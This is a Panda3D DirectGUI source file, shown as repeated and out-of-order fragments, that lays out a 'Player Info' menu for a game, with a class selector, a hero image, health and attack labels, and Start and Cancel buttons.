"= DirectLabel( frameColor=(0.8, 0.8, 0.8, 0.0), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.12,",
"0.55), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(0.765, 0, 0), relief=3, parent=self.frmMain, )",
"text_bg=LVecBase4f(0, 0, 0, 0), text_wordwrap=None, parent=self.frmSinglePlayerCreateGame, ) self.optionPlayerClass.setTransparency(0) self.btnCancel =",
"first-strike', text_align=TextNode.A_left, text_scale=(0.6, 0.6), text_pos=(0, 0), text_fg=LVecBase4f(0, 0, 0, 1),",
"0), text_wordwrap=None, parent=self.frmSinglePlayerCreateGame, command=base.messenger.send, extraArgs=[\"multiplayerPlayerInfo_cancel\"], ) self.btnCancel.setTransparency(0) self.frmPlayerInfo = DirectFrame(",
"0, 0), text_wordwrap=None, parent=self.frmSinglePlayerCreateGame, command=base.messenger.send, extraArgs=[\"multiplayerPlayerInfo_cancel\"], ) self.btnCancel.setTransparency(0) self.frmPlayerInfo =",
"0.75), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(0.2, 0, 0.005), scale=LVecBase3f(0.1, 0.1, 0.1),",
"text='Health', text_align=TextNode.A_center, text_scale=(0.7, 0.7), text_pos=(0, 0), text_fg=LVecBase4f(0, 0, 0, 1),",
"self.frmImageHero.setTransparency(1) self.lblClassDescription = DirectLabel( frameColor=(0.8, 0.8, 0.8, 0.0), hpr=LVecBase3f(0, 0,",
"parent=self.frmSinglePlayerCreateGame, ) self.pg5219.setTransparency(0) self.optionPlayerClass = DirectOptionMenu( items=['item1'], frameSize=(0.07500000298023224, 3.012500149011612, -0.11250001192092896,",
"0), text_wordwrap=None, parent=self.frmSinglePlayerCreateGame, ) self.pg703.setTransparency(0) self.pg13803 = DirectButton( hpr=LVecBase3f(0, 0,",
"= DirectLabel( hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(0, 0, 0.425), scale=LVecBase3f(0.1, 0.1,",
"0.45), scale=LVecBase3f(0.1, 0.1, 0.1), text='Info', text_align=TextNode.A_center, text_scale=(1, 1), text_pos=(0, 0),",
"scale=LVecBase3f(0.1, 0.1, 0.1), text='Attack', text_align=TextNode.A_center, text_scale=(0.7, 0.7), text_pos=(0, 0), text_fg=LVecBase4f(0,",
"self.lblClassDescription = DirectLabel( frameColor=(0.8, 0.8, 0.8, 0.0), hpr=LVecBase3f(0, 0, 0),",
"text_bg=LVecBase4f(0, 0, 0, 0), text_wordwrap=None, parent=self.frmSinglePlayerCreateGame, ) self.pg703.setTransparency(0) self.pg13803 =",
"0), pos=LPoint3f(-0.275, 0, -0.285), scale=LVecBase3f(0.1, 0.1, 0.1), text='Attack', text_align=TextNode.A_center, text_scale=(0.7,",
"direct.gui import DirectGuiGlobals as DGG from direct.gui.DirectFrame import DirectFrame from",
"0, 0), pos=LPoint3f(0.325, 0, -0.45), scale=LVecBase3f(0.1, 0.1, 0.1), text='Cancel', text_align=TextNode.A_center,",
"0, 0), pos=LPoint3f(-0.275, 0, -0.17), scale=LVecBase3f(0.1, 0.1, 0.1), text='7', text_align=TextNode.A_center,",
"0.1), text='Cancel', text_align=TextNode.A_center, text_scale=(1, 1), text_pos=(0, 0), text_fg=LVecBase4f(0, 0, 0,",
"Info', text_align=TextNode.A_center, text_scale=(1, 1), text_pos=(0, 0), text_fg=LVecBase4f(0, 0, 0, 1),",
"0), text_wordwrap=None, parent=self.frmPlayerInfo, ) self.lblHealthValue.setTransparency(0) self.lblAttackValue = DirectLabel( frameColor=(0.8, 0.8,",
"0), image_scale=LVecBase3f(1.77778, 1, 1.1638), image_pos=LPoint3f(0, 0, 0), parent=rootParent, ) self.frmMain.setTransparency(0)",
"0, 0.195), image_scale=LVecBase3f(0.15, 1, 0.2), image_pos=LPoint3f(0, 0, 0), parent=self.frmPlayerInfo, )",
"cancelframe_relief=None, item_frameSize=(0.07500000298023224, 2.4125001430511475, -0.11250001192092896, 0.75), item_hpr=LVecBase3f(0, 0, 0), item_pos=LPoint3f(-0.075, 0,",
"0, 0, 0), text_wordwrap=None, parent=self.frmPlayerInfo, ) self.lblHealth.setTransparency(0) self.lblAttack = DirectLabel(",
"pos=LPoint3f(-0.275, 0, -0.36), scale=LVecBase3f(0.1, 0.1, 0.1), text='4', text_align=TextNode.A_center, text_scale=(0.6, 0.6),",
"0, 0), relief=3, parent=self.frmMain, ) self.frmPlayerInfo.setTransparency(0) self.lblInfoHeader = DirectLabel( frameColor=(0.8,",
"1), cancelframe_hpr=LVecBase3f(0, 0, 0), cancelframe_pos=LPoint3f(0, 0, 0), cancelframe_relief=None, item_frameSize=(0.07500000298023224, 2.4125001430511475,",
"0, 0, 0), item0_text_wordwrap=None, popupMarker_frameSize=(-0.5, 0.5, -0.2, 0.2), popupMarker_hpr=LVecBase3f(0, 0,",
"self.btnCancel = DirectButton( hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(0.325, 0, -0.45), scale=LVecBase3f(0.1,",
"0, 1), text_bg=LVecBase4f(0, 0, 0, 0), text_wordwrap=None, parent=self.frmPlayerInfo, ) self.lblInfoHeader.setTransparency(0)",
"0), item0_text_wordwrap=None, popupMarker_frameSize=(-0.5, 0.5, -0.2, 0.2), popupMarker_hpr=LVecBase3f(0, 0, 0), popupMarker_pos=LPoint3f(2.7125,",
") self.pg5219.setTransparency(0) self.optionPlayerClass = DirectOptionMenu( items=['item1'], frameSize=(0.07500000298023224, 3.012500149011612, -0.11250001192092896, 0.75),",
"popupMarker_scale=LVecBase3f(0.4, 0.4, 0.4), popupMenu_frameSize=(0, 2.3375001400709152, -0.862500011920929, 0), popupMenu_hpr=LVecBase3f(0, 0, 0),",
"1.1638), hpr=LVecBase3f(0, 0, 0), image='assets/menu/Background.png', pos=LPoint3f(0, 0, 0), image_scale=LVecBase3f(1.77778, 1,",
"hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(0.325, 0, -0.45), scale=LVecBase3f(0.1, 0.1, 0.1), text='Cancel',",
"self.pg703 = DirectLabel( hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(0, 0, 0.425), scale=LVecBase3f(0.1,",
"frameColor=(1, 1, 1, 1), frameSize=(-1.777778, 1.77777778, -1.1638, 1.1638), hpr=LVecBase3f(0, 0,",
") self.optionPlayerClass.setTransparency(0) self.btnCancel = DirectButton( hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(0.325, 0,",
"text_align=TextNode.A_center, text_scale=(1, 1), text_pos=(0, 0), text_fg=LVecBase4f(0, 0, 0, 1), text_bg=LVecBase4f(0,",
"parent=self.frmPlayerInfo, ) self.lblAttack.setTransparency(0) self.lblHealthValue = DirectLabel( frameColor=(0.8, 0.8, 0.8, 0.0),",
"text_wordwrap=None, parent=self.frmSinglePlayerCreateGame, ) self.optionPlayerClass.setTransparency(0) self.btnCancel = DirectButton( hpr=LVecBase3f(0, 0, 0),",
"0, 0), cancelframe_relief=None, item_frameSize=(0.07500000298023224, 2.4125001430511475, -0.11250001192092896, 0.75), item_hpr=LVecBase3f(0, 0, 0),",
"0, 1), text_bg=LVecBase4f(0, 0, 0, 0), text_wordwrap=None, parent=self.frmPlayerInfo, ) self.lblHealthValue.setTransparency(0)",
"0), image='assets/menu/Background.png', pos=LPoint3f(0, 0, 0), image_scale=LVecBase3f(1.77778, 1, 1.1638), image_pos=LPoint3f(0, 0,",
"from direct.gui import DirectGuiGlobals as DGG from direct.gui.DirectFrame import DirectFrame",
") self.lblAttack.setTransparency(0) self.lblHealthValue = DirectLabel( frameColor=(0.8, 0.8, 0.8, 0.0), hpr=LVecBase3f(0,",
"hpr=LVecBase3f(0, 0, 0), image='assets/menu/Background.png', pos=LPoint3f(0, 0, 0), image_scale=LVecBase3f(1.77778, 1, 1.1638),",
"import ( LPoint3f, LVecBase3f, LVecBase4f, TextNode ) class GUI: def",
"0.2), image_pos=LPoint3f(0, 0, 0), parent=self.frmPlayerInfo, ) self.frmImageHero.setTransparency(1) self.lblClassDescription = DirectLabel(",
"1, 0.2), image_pos=LPoint3f(0, 0, 0), parent=self.frmPlayerInfo, ) self.frmImageHero.setTransparency(1) self.lblClassDescription =",
"scale=LVecBase3f(0.1, 0.1, 0.1), text='Player Info', text_align=TextNode.A_center, text_scale=(1, 1), text_pos=(0, 0),",
"1, 1, 1), frameSize=(-0.65, 0.65, -0.55, 0.55), hpr=LVecBase3f(0, 0, 0),",
"and gains the first-strike', text_align=TextNode.A_left, text_scale=(0.6, 0.6), text_pos=(0, 0), text_fg=LVecBase4f(0,",
"self.lblHealth = DirectLabel( frameColor=(0.8, 0.8, 0.8, 0.0), hpr=LVecBase3f(0, 0, 0),",
"popupMenu_frameSize=(0, 2.3375001400709152, -0.862500011920929, 0), popupMenu_hpr=LVecBase3f(0, 0, 0), popupMenu_pos=LPoint3f(0, 0, 0),",
"image_scale=LVecBase3f(0.15, 1, 0.2), image_pos=LPoint3f(0, 0, 0), parent=self.frmPlayerInfo, ) self.frmImageHero.setTransparency(1) self.lblClassDescription",
"0.1, 0.1), text='Info', text_align=TextNode.A_center, text_scale=(1, 1), text_pos=(0, 0), text_fg=LVecBase4f(0, 0,",
"hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.275, 0, -0.285), scale=LVecBase3f(0.1, 0.1, 0.1), text='Attack',",
"2.3375001400709152, -0.862500011920929, 0), popupMenu_hpr=LVecBase3f(0, 0, 0), popupMenu_pos=LPoint3f(0, 0, 0), popupMenu_relief='raised',",
"0), pos=LPoint3f(-0.275, 0, -0.17), scale=LVecBase3f(0.1, 0.1, 0.1), text='7', text_align=TextNode.A_center, text_scale=(0.6,",
") self.frmPlayerInfo.setTransparency(0) self.lblInfoHeader = DirectLabel( frameColor=(0.8, 0.8, 0.8, 0.0), hpr=LVecBase3f(0,",
"popupMarker_pos=LPoint3f(2.7125, 0, 0.31875), popupMarker_relief=2, popupMarker_scale=LVecBase3f(0.4, 0.4, 0.4), popupMenu_frameSize=(0, 2.3375001400709152, -0.862500011920929,",
"the DirectGUI Designer from direct.gui import DirectGuiGlobals as DGG from",
"extraArgs=[\"multiplayerPlayerInfo_cancel\"], ) self.btnCancel.setTransparency(0) self.frmPlayerInfo = DirectFrame( borderWidth=(0.01, 0.01), frameColor=(1, 1,",
") self.lblAttackValue.setTransparency(0) def show(self): self.frmMain.show() def hide(self): self.frmMain.hide() def destroy(self):",
"0), parent=rootParent, ) self.frmMain.setTransparency(0) self.frmSinglePlayerCreateGame = DirectFrame( borderWidth=(0.01, 0.01), frameColor=(1,",
"gains the first-strike', text_align=TextNode.A_left, text_scale=(0.6, 0.6), text_pos=(0, 0), text_fg=LVecBase4f(0, 0,",
"from direct.gui.DirectOptionMenu import DirectOptionMenu from panda3d.core import ( LPoint3f, LVecBase3f,",
"pos=LPoint3f(-0.425, 0, 0), relief=5, parent=self.frmMain, ) self.frmSinglePlayerCreateGame.setTransparency(0) self.pg703 = DirectLabel(",
"from afar and gains the first-strike', text_align=TextNode.A_left, text_scale=(0.6, 0.6), text_pos=(0,",
"__init__(self, rootParent=None): self.frmMain = DirectFrame( frameColor=(1, 1, 1, 1), frameSize=(-1.777778,",
"borderWidth=(0.01, 0.01), frameColor=(1, 1, 1, 1), frameSize=(-0.65, 0.65, -0.55, 0.55),",
"1), item0_text_pos=(0, 0), item0_text_fg=LVecBase4f(0, 0, 0, 1), item0_text_bg=LVecBase4f(0, 0, 0,",
"0.5, -0.2, 0.2), popupMarker_hpr=LVecBase3f(0, 0, 0), popupMarker_pos=LPoint3f(2.7125, 0, 0.31875), popupMarker_relief=2,",
"0, 1), text_bg=LVecBase4f(0, 0, 0, 0), text_wordwrap=None, parent=self.frmSinglePlayerCreateGame, command=base.messenger.send, extraArgs=[\"multiplayerPlayerInfo_start\"],",
"0.425), scale=LVecBase3f(0.1, 0.1, 0.1), text='Player Info', text_align=TextNode.A_center, text_scale=(1, 1), text_pos=(0,",
"2.4125001430511475, -0.11250001192092896, 0.75), item_hpr=LVecBase3f(0, 0, 0), item_pos=LPoint3f(-0.075, 0, -0.75), item_text='item1',",
"1), text_bg=LVecBase4f(0, 0, 0, 0), text_wordwrap=None, parent=self.frmSinglePlayerCreateGame, command=base.messenger.send, extraArgs=[\"multiplayerPlayerInfo_cancel\"], )",
"created using the DirectGUI Designer from direct.gui import DirectGuiGlobals as",
"hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.275, 0, -0.36), scale=LVecBase3f(0.1, 0.1, 0.1), text='4',",
"afar and gains the first-strike', text_align=TextNode.A_left, text_scale=(0.6, 0.6), text_pos=(0, 0),",
"shoots from afar and gains the first-strike', text_align=TextNode.A_left, text_scale=(0.6, 0.6),",
"relief=3, parent=self.frmMain, ) self.frmPlayerInfo.setTransparency(0) self.lblInfoHeader = DirectLabel( frameColor=(0.8, 0.8, 0.8,",
"0, 1), text_bg=LVecBase4f(0, 0, 0, 0), text_wordwrap=None, parent=self.frmSinglePlayerCreateGame, ) self.pg5219.setTransparency(0)",
"hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.275, 0, -0.17), scale=LVecBase3f(0.1, 0.1, 0.1), text='7',",
"0), pos=LPoint3f(-0.6, 0, 0.02), scale=LVecBase3f(0.1, 0.1, 0.1), text='Player Class', text_align=TextNode.A_left,",
"command=base.messenger.send, extraArgs=[\"multiplayerPlayerInfo_start\"], ) self.pg13803.setTransparency(0) self.pg5219 = DirectLabel( hpr=LVecBase3f(0, 0, 0),",
"0, 1), text_bg=LVecBase4f(0, 0, 0, 0), text_wordwrap=None, parent=self.frmPlayerInfo, ) self.lblAttackValue.setTransparency(0)",
"0), pos=LPoint3f(0, 0, 0.425), scale=LVecBase3f(0.1, 0.1, 0.1), text='Player Info', text_align=TextNode.A_center,",
"-0.862500011920929, 0), popupMenu_hpr=LVecBase3f(0, 0, 0), popupMenu_pos=LPoint3f(0, 0, 0), popupMenu_relief='raised', text_align=TextNode.A_left,",
"item0_text_fg=LVecBase4f(0, 0, 0, 1), item0_text_bg=LVecBase4f(0, 0, 0, 0), item0_text_wordwrap=None, popupMarker_frameSize=(-0.5,",
"scale=LVecBase3f(0.1, 0.1, 0.1), text='Health', text_align=TextNode.A_center, text_scale=(0.7, 0.7), text_pos=(0, 0), text_fg=LVecBase4f(0,",
"text_wordwrap=None, parent=self.frmSinglePlayerCreateGame, ) self.pg5219.setTransparency(0) self.optionPlayerClass = DirectOptionMenu( items=['item1'], frameSize=(0.07500000298023224, 3.012500149011612,",
") self.lblClassDescription.setTransparency(0) self.lblHealth = DirectLabel( frameColor=(0.8, 0.8, 0.8, 0.0), hpr=LVecBase3f(0,",
"0, 0), text_wordwrap=None, parent=self.frmSinglePlayerCreateGame, ) self.pg5219.setTransparency(0) self.optionPlayerClass = DirectOptionMenu( items=['item1'],",
"DirectLabel( frameColor=(0.8, 0.8, 0.8, 0.0), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.12, 0,",
"0, 1), text_bg=LVecBase4f(0, 0, 0, 0), text_wordwrap=None, parent=self.frmSinglePlayerCreateGame, ) self.pg703.setTransparency(0)",
"-0.285), scale=LVecBase3f(0.1, 0.1, 0.1), text='Attack', text_align=TextNode.A_center, text_scale=(0.7, 0.7), text_pos=(0, 0),",
"extraArgs=[\"multiplayerPlayerInfo_start\"], ) self.pg13803.setTransparency(0) self.pg5219 = DirectLabel( hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.6,",
"self.pg5219 = DirectLabel( hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.6, 0, 0.02), scale=LVecBase3f(0.1,",
"pos=LPoint3f(0, 0, 0), image_scale=LVecBase3f(1.77778, 1, 1.1638), image_pos=LPoint3f(0, 0, 0), parent=rootParent,",
"0, 0), image='/home/fireclaw/workspace/Ankandora/AnkandoraLight/design/guiGraphics/heroArcher.png', pos=LPoint3f(-0.275, 0, 0.195), image_scale=LVecBase3f(0.15, 1, 0.2), image_pos=LPoint3f(0,",
"text_align=TextNode.A_left, text_scale=(0.6, 0.6), text_pos=(0, 0), text_fg=LVecBase4f(0, 0, 0, 1), text_bg=LVecBase4f(0,",
"parent=self.frmPlayerInfo, ) self.lblAttackValue.setTransparency(0) def show(self): self.frmMain.show() def hide(self): self.frmMain.hide() def",
"self.pg13803.setTransparency(0) self.pg5219 = DirectLabel( hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.6, 0, 0.02),",
"0, 0, 0), text_wordwrap=None, parent=self.frmSinglePlayerCreateGame, command=base.messenger.send, extraArgs=[\"multiplayerPlayerInfo_start\"], ) self.pg13803.setTransparency(0) self.pg5219",
"0, 1), item0_text_bg=LVecBase4f(0, 0, 0, 0), item0_text_wordwrap=None, popupMarker_frameSize=(-0.5, 0.5, -0.2,",
"0, 0, 1), text_bg=LVecBase4f(0, 0, 0, 0), text_wordwrap=10.0, parent=self.frmPlayerInfo, )",
"-*- # This file was created using the DirectGUI Designer",
"0), relief=5, parent=self.frmMain, ) self.frmSinglePlayerCreateGame.setTransparency(0) self.pg703 = DirectLabel( hpr=LVecBase3f(0, 0,",
"0), popupMenu_hpr=LVecBase3f(0, 0, 0), popupMenu_pos=LPoint3f(0, 0, 0), popupMenu_relief='raised', text_align=TextNode.A_left, text_scale=(1,",
"0.1, 0.1), text='item1', cancelframe_frameSize=(-1, 1, -1, 1), cancelframe_hpr=LVecBase3f(0, 0, 0),",
"0.2), popupMarker_hpr=LVecBase3f(0, 0, 0), popupMarker_pos=LPoint3f(2.7125, 0, 0.31875), popupMarker_relief=2, popupMarker_scale=LVecBase3f(0.4, 0.4,",
"text_align=TextNode.A_center, text_scale=(0.7, 0.7), text_pos=(0, 0), text_fg=LVecBase4f(0, 0, 0, 1), text_bg=LVecBase4f(0,",
"0.01), frameColor=(1, 1, 1, 1), frameSize=(-0.5, 0.5, -0.55, 0.55), hpr=LVecBase3f(0,",
"DirectFrame( borderWidth=(0.01, 0.01), frameColor=(1, 1, 1, 1), frameSize=(-0.5, 0.5, -0.55,",
"-0.11250001192092896, 0.75), item_hpr=LVecBase3f(0, 0, 0), item_pos=LPoint3f(-0.075, 0, -0.75), item_text='item1', item0_text_align=TextNode.A_left,",
"#!/usr/bin/python # -*- coding: utf-8 -*- # This file was",
"frameColor=(1, 1, 1, 1), frameSize=(-0.15, 0.15, -0.2, 0.2), hpr=LVecBase3f(0, 0,",
"0.7), text_pos=(0, 0), text_fg=LVecBase4f(0, 0, 0, 1), text_bg=LVecBase4f(0, 0, 0,",
"0.1, 0.1), text='Attack', text_align=TextNode.A_center, text_scale=(0.7, 0.7), text_pos=(0, 0), text_fg=LVecBase4f(0, 0,",
"pos=LPoint3f(-0.275, 0, -0.285), scale=LVecBase3f(0.1, 0.1, 0.1), text='Attack', text_align=TextNode.A_center, text_scale=(0.7, 0.7),",
"self.frmSinglePlayerCreateGame = DirectFrame( borderWidth=(0.01, 0.01), frameColor=(1, 1, 1, 1), frameSize=(-0.65,",
"0, -0.45), scale=LVecBase3f(0.1, 0.1, 0.1), text='Cancel', text_align=TextNode.A_center, text_scale=(1, 1), text_pos=(0,",
"0, 0, 1), text_bg=LVecBase4f(0, 0, 0, 0), text_wordwrap=None, parent=self.frmSinglePlayerCreateGame, )",
"0), image='/home/fireclaw/workspace/Ankandora/AnkandoraLight/design/guiGraphics/heroArcher.png', pos=LPoint3f(-0.275, 0, 0.195), image_scale=LVecBase3f(0.15, 1, 0.2), image_pos=LPoint3f(0, 0,",
"= DirectFrame( frameColor=(1, 1, 1, 1), frameSize=(-1.777778, 1.77777778, -1.1638, 1.1638),",
"DirectLabel( hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.6, 0, 0.02), scale=LVecBase3f(0.1, 0.1, 0.1),",
"file was created using the DirectGUI Designer from direct.gui import",
"pos=LPoint3f(-0.6, 0, 0.02), scale=LVecBase3f(0.1, 0.1, 0.1), text='Player Class', text_align=TextNode.A_left, text_scale=(1,",
"-0.36), scale=LVecBase3f(0.1, 0.1, 0.1), text='4', text_align=TextNode.A_center, text_scale=(0.6, 0.6), text_pos=(0, 0),",
"0), item0_text_fg=LVecBase4f(0, 0, 0, 1), item0_text_bg=LVecBase4f(0, 0, 0, 0), item0_text_wordwrap=None,",
"self.frmMain.setTransparency(0) self.frmSinglePlayerCreateGame = DirectFrame( borderWidth=(0.01, 0.01), frameColor=(1, 1, 1, 1),",
"0, 0.005), scale=LVecBase3f(0.1, 0.1, 0.1), text='item1', cancelframe_frameSize=(-1, 1, -1, 1),",
"-1.1638, 1.1638), hpr=LVecBase3f(0, 0, 0), image='assets/menu/Background.png', pos=LPoint3f(0, 0, 0), image_scale=LVecBase3f(1.77778,",
"0), text_wordwrap=None, parent=self.frmPlayerInfo, ) self.lblInfoHeader.setTransparency(0) self.frmImageHero = DirectFrame( frameColor=(1, 1,",
"self.lblHealth.setTransparency(0) self.lblAttack = DirectLabel( frameColor=(0.8, 0.8, 0.8, 0.0), hpr=LVecBase3f(0, 0,",
"1), text_bg=LVecBase4f(0, 0, 0, 0), text_wordwrap=None, parent=self.frmSinglePlayerCreateGame, ) self.pg703.setTransparency(0) self.pg13803",
"1, 1), frameSize=(-0.15, 0.15, -0.2, 0.2), hpr=LVecBase3f(0, 0, 0), image='/home/fireclaw/workspace/Ankandora/AnkandoraLight/design/guiGraphics/heroArcher.png',",
"0, 0.31875), popupMarker_relief=2, popupMarker_scale=LVecBase3f(0.4, 0.4, 0.4), popupMenu_frameSize=(0, 2.3375001400709152, -0.862500011920929, 0),",
"self.lblClassDescription.setTransparency(0) self.lblHealth = DirectLabel( frameColor=(0.8, 0.8, 0.8, 0.0), hpr=LVecBase3f(0, 0,",
"self.lblAttackValue = DirectLabel( frameColor=(0.8, 0.8, 0.8, 0.0), hpr=LVecBase3f(0, 0, 0),",
"text_wordwrap=None, parent=self.frmSinglePlayerCreateGame, command=base.messenger.send, extraArgs=[\"multiplayerPlayerInfo_cancel\"], ) self.btnCancel.setTransparency(0) self.frmPlayerInfo = DirectFrame( borderWidth=(0.01,",
"1, 1, 1), frameSize=(-0.15, 0.15, -0.2, 0.2), hpr=LVecBase3f(0, 0, 0),",
"0.8, 0.8, 0.0), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.275, 0, -0.285), scale=LVecBase3f(0.1,",
"0.8, 0.0), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.275, 0, -0.285), scale=LVecBase3f(0.1, 0.1,",
"as DGG from direct.gui.DirectFrame import DirectFrame from direct.gui.DirectLabel import DirectLabel",
"This file was created using the DirectGUI Designer from direct.gui",
"scale=LVecBase3f(0.1, 0.1, 0.1), text='The archer shoots from afar and gains",
"scale=LVecBase3f(0.1, 0.1, 0.1), text='Player Class', text_align=TextNode.A_left, text_scale=(1, 1), text_pos=(0, 0),",
"pos=LPoint3f(-0.275, 0, 0.195), image_scale=LVecBase3f(0.15, 1, 0.2), image_pos=LPoint3f(0, 0, 0), parent=self.frmPlayerInfo,",
"text='Start', text_align=TextNode.A_center, text_scale=(1, 1), text_pos=(0, 0), text_fg=LVecBase4f(0, 0, 0, 1),",
"0, 0), popupMarker_pos=LPoint3f(2.7125, 0, 0.31875), popupMarker_relief=2, popupMarker_scale=LVecBase3f(0.4, 0.4, 0.4), popupMenu_frameSize=(0,",
"DirectFrame from direct.gui.DirectLabel import DirectLabel from direct.gui.DirectButton import DirectButton from",
"hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.6, 0, 0.02), scale=LVecBase3f(0.1, 0.1, 0.1), text='Player",
"0), text_wordwrap=None, parent=self.frmSinglePlayerCreateGame, ) self.optionPlayerClass.setTransparency(0) self.btnCancel = DirectButton( hpr=LVecBase3f(0, 0,",
"self.lblInfoHeader = DirectLabel( frameColor=(0.8, 0.8, 0.8, 0.0), hpr=LVecBase3f(0, 0, 0),",
"0.0), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(0, 0, 0.45), scale=LVecBase3f(0.1, 0.1, 0.1),",
"0), text_wordwrap=10.0, parent=self.frmPlayerInfo, ) self.lblClassDescription.setTransparency(0) self.lblHealth = DirectLabel( frameColor=(0.8, 0.8,",
"text_fg=LVecBase4f(0, 0, 0, 1), text_bg=LVecBase4f(0, 0, 0, 0), text_wordwrap=None, parent=self.frmPlayerInfo,",
"0, 0, 0), text_wordwrap=None, parent=self.frmPlayerInfo, ) self.lblAttackValue.setTransparency(0) def show(self): self.frmMain.show()",
"0, 0), pos=LPoint3f(0.2, 0, 0.005), scale=LVecBase3f(0.1, 0.1, 0.1), text='item1', cancelframe_frameSize=(-1,",
"0, -0.75), item_text='item1', item0_text_align=TextNode.A_left, item0_text_scale=(1, 1), item0_text_pos=(0, 0), item0_text_fg=LVecBase4f(0, 0,",
"import DirectOptionMenu from panda3d.core import ( LPoint3f, LVecBase3f, LVecBase4f, TextNode",
") self.pg703.setTransparency(0) self.pg13803 = DirectButton( hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.35, 0,",
"DirectLabel( hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(0, 0, 0.425), scale=LVecBase3f(0.1, 0.1, 0.1),",
"= DirectFrame( borderWidth=(0.01, 0.01), frameColor=(1, 1, 1, 1), frameSize=(-0.5, 0.5,",
"0, 0), text_wordwrap=None, parent=self.frmPlayerInfo, ) self.lblAttackValue.setTransparency(0) def show(self): self.frmMain.show() def",
"self.lblAttack = DirectLabel( frameColor=(0.8, 0.8, 0.8, 0.0), hpr=LVecBase3f(0, 0, 0),",
"archer shoots from afar and gains the first-strike', text_align=TextNode.A_left, text_scale=(0.6,",
"relief=5, parent=self.frmMain, ) self.frmSinglePlayerCreateGame.setTransparency(0) self.pg703 = DirectLabel( hpr=LVecBase3f(0, 0, 0),",
"0), cancelframe_pos=LPoint3f(0, 0, 0), cancelframe_relief=None, item_frameSize=(0.07500000298023224, 2.4125001430511475, -0.11250001192092896, 0.75), item_hpr=LVecBase3f(0,",
"def __init__(self, rootParent=None): self.frmMain = DirectFrame( frameColor=(1, 1, 1, 1),",
"image='assets/menu/Background.png', pos=LPoint3f(0, 0, 0), image_scale=LVecBase3f(1.77778, 1, 1.1638), image_pos=LPoint3f(0, 0, 0),",
"0, 0), popupMenu_pos=LPoint3f(0, 0, 0), popupMenu_relief='raised', text_align=TextNode.A_left, text_scale=(1, 1), text_pos=(0,",
"0), text_fg=LVecBase4f(0, 0, 0, 1), text_bg=LVecBase4f(0, 0, 0, 0), text_wordwrap=10.0,",
"item_text='item1', item0_text_align=TextNode.A_left, item0_text_scale=(1, 1), item0_text_pos=(0, 0), item0_text_fg=LVecBase4f(0, 0, 0, 1),",
"0, 0), pos=LPoint3f(0, 0, 0.425), scale=LVecBase3f(0.1, 0.1, 0.1), text='Player Info',",
"text_wordwrap=None, parent=self.frmPlayerInfo, ) self.lblInfoHeader.setTransparency(0) self.frmImageHero = DirectFrame( frameColor=(1, 1, 1,",
"0.75), item_hpr=LVecBase3f(0, 0, 0), item_pos=LPoint3f(-0.075, 0, -0.75), item_text='item1', item0_text_align=TextNode.A_left, item0_text_scale=(1,",
"scale=LVecBase3f(0.1, 0.1, 0.1), text='4', text_align=TextNode.A_center, text_scale=(0.6, 0.6), text_pos=(0, 0), text_fg=LVecBase4f(0,",
"import DirectButton from direct.gui.DirectOptionMenu import DirectOptionMenu from panda3d.core import (",
"pos=LPoint3f(-0.35, 0, -0.45), scale=LVecBase3f(0.1, 0.1, 0.1), text='Start', text_align=TextNode.A_center, text_scale=(1, 1),",
"0, 0), cancelframe_pos=LPoint3f(0, 0, 0), cancelframe_relief=None, item_frameSize=(0.07500000298023224, 2.4125001430511475, -0.11250001192092896, 0.75),",
"using the DirectGUI Designer from direct.gui import DirectGuiGlobals as DGG",
"-0.55, 0.55), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(0.765, 0, 0), relief=3, parent=self.frmMain,",
"# This file was created using the DirectGUI Designer from",
"hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.35, 0, -0.45), scale=LVecBase3f(0.1, 0.1, 0.1), text='Start',",
"0.0), hpr=LVecBase3f(0, 0, 0), pos=LPoint3f(-0.12, 0, 0.31), scale=LVecBase3f(0.1, 0.1, 0.1),",
"self.optionPlayerClass = DirectOptionMenu( items=['item1'], frameSize=(0.07500000298023224, 3.012500149011612, -0.11250001192092896, 0.75), hpr=LVecBase3f(0, 0,",
"0.005), scale=LVecBase3f(0.1, 0.1, 0.1), text='item1', cancelframe_frameSize=(-1, 1, -1, 1), cancelframe_hpr=LVecBase3f(0,",
"popupMenu_pos=LPoint3f(0, 0, 0), popupMenu_relief='raised', text_align=TextNode.A_left, text_scale=(1, 1), text_pos=(0, 0), text_fg=LVecBase4f(0,",
"0.6), text_pos=(0, 0), text_fg=LVecBase4f(0, 0, 0, 1), text_bg=LVecBase4f(0, 0, 0,",
"0, 0), text_wordwrap=None, parent=self.frmPlayerInfo, ) self.lblHealth.setTransparency(0) self.lblAttack = DirectLabel( frameColor=(0.8,",
"0, -0.17), scale=LVecBase3f(0.1, 0.1, 0.1), text='7', text_align=TextNode.A_center, text_scale=(0.6, 0.6), text_pos=(0,",
"0, 0), pos=LPoint3f(0, 0, 0.45), scale=LVecBase3f(0.1, 0.1, 0.1), text='Info', text_align=TextNode.A_center,",
"1, 1, 1), frameSize=(-1.777778, 1.77777778, -1.1638, 1.1638), hpr=LVecBase3f(0, 0, 0),",
"0, 0), item0_text_wordwrap=None, popupMarker_frameSize=(-0.5, 0.5, -0.2, 0.2), popupMarker_hpr=LVecBase3f(0, 0, 0),",
